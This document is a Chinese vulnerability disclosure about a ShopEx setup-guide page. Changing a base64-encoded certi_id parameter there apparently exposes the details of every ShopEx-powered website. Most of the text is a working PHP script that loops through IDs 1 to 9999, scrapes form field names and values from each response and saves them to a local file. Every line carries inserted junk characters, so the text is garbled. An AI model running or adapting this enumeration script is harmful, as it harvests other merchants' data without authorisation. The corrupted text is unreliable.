|
|
简要描述:
6 j; B, n% a) a U# D9 r' RShopEx某接口缺陷,可遍历所有网站& e+ t& {5 D+ A+ n4 S O
详细说明:
) q+ R& i3 t! A1 ]0 X& Z9 U# h& X问题出现在shopex 网店使用向导页面 3 h' K h9 |& p$ A0 }. Q4 X0 F
! S2 C7 R6 v2 f% _/ V) `+ p
) w/ h/ L/ q+ C/ @- K/ u( w( _+ v/ @
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
$ T! i9 l- H# x# t# H
- N% F9 Z: d$ v: x& F4 y9 ?9 s$ F( S* H+ l5 V
* H) L" I9 @1 s" ~3 l- r
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}) T( H/ A5 `; F' S& s
& w9 }; t* i; \7 R- p
' y6 }! r1 l. q2 s9 Q0 p6 Y# v3 y4 A/ q% x
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站 ! n7 V8 D( m4 B, ^7 i
6 f* m' b. l% J
& j& T5 X! Y k4 {% D, c2 T
& c' i9 P$ B3 Y( y" n( e<?php
) Z7 `3 v, D* k* j; K+ D9 j4 u9 N7 E
for ($i=1; $i < 10000; $i++) { //遍历
& S$ J7 _# D5 I3 q/ d9 x5 K h; S; I
ShowshopExD($i);% b' n" | p. x% f9 j
& ]/ T5 j9 a0 }& H5 t! u% a
}
5 m6 j( G* p+ D( G4 l. g8 [
: D: c; Y" C6 i5 v function ShowshopExD($cid) {- ^4 i6 @* p' u
, p/ D7 d" i' k2 q' V
$url='http://guide.ecos.shopex.cn/step2.php';# j8 u# O: I8 r( F# s" C! W5 b8 J
" J) x& N3 @) z9 B h3 k% y& E, U8 Q $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
' U5 F" I# c+ |
+ t6 p3 f$ ~5 z, w Z, T9 L" D $url = $url.'?refer='.$refer;
. f% D8 `, O2 l6 i3 ?& L2 B" q+ c9 [. G
$ch = curl_init($url);/ W" w) p/ L/ v. O [+ {* f
, E& Y2 M" u/ H8 c3 U curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;2 }' n: o2 X( r. j" m d9 M: z6 W
' q& w0 e9 C' A+ v1 C3 @
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;; H. W5 u, x- }* v
0 {6 [, h* v5 B9 W$ ~' I9 n4 G/ }
$result = curl_exec($ch);
3 q5 O* @" M+ }3 T# o
' d6 x. c+ J/ r6 N( I $result = mb_convert_encoding($result, "gb2312", "UTF-8");
, C9 g$ x1 o. A @; H& I- A( n2 ~9 s" L! \7 E, o4 J
if(strpos($result,$refer))* @: l7 T& ~ U& n3 C
; V4 o1 T/ w) M1 Q- \( D# A$ I/ e {& Z5 b. J# M( E0 D
) [' e6 G8 G/ t# E* b* w6 S $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
! W9 M5 _( Y5 ^& |8 F* u4 B5 C" E7 r$ P& `
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);7 y( V+ S+ W, e& m* ?5 s
' `$ u* Y$ `% ^4 r foreach ($value[1] as $key) {0 r, [( _1 Y; j' h- K( R
. F2 m' H% P8 Q preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
$ S" z- S' B! f2 G+ a( z/ x. X1 ^4 X6 S
echo $res[1][0].':'.$res[3][0]."\r\n";
, R" f5 |5 M: ` ~4 n9 f2 }
' M; A2 {4 w% ~6 e* V! R7 d2 r' {9 \7 E $col =$res[1][0].':'.$res[3][0]."\r\n";
* g u; A" L3 U% b# {* s4 K8 v0 P. ?# B! H# ?0 x1 Z
fwrite($fp, $col, strlen($col)); ! L! O/ p% B4 i- d
0 ?: v% E7 k) u- ^0 G* _ }. Q5 a( M) [% N
7 V! C8 e& T, I9 Q Q! j9 f echo '--------------------------------'."\r\n";& w+ }1 G5 L5 @# f( D
" ?3 e, d/ z) z+ l$ U% u fclose($fp); 5 N' \2 h9 \, x. ]0 o0 \
# d4 j; S9 u. z6 | }( x7 \5 l7 G$ ?$ `9 j2 _7 `$ s8 c( ?
9 x% k9 K2 g& d, x6 F$ J
flush();
* O/ d$ E# R! r7 f. y7 C
; y6 h) [! ]- P8 ~: Z/ x curl_close($ch);
. d, v8 k& v% ?5 ?' V0 A, g' Q: s( E- e
5 j; O( ` G1 C+ e3 e' Q }
+ E* r6 j* l( u/ V& `5 t5 \, u& v; B6 I, E
?>9 B8 Q7 }3 M' p- t' `2 q" K
漏洞证明:
- j$ @& I' W9 y& y4 hhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
3 Y L! ]' N6 |refer换成其他加密方式
6 ]. ?9 g" c9 A* }5 P) @ |
|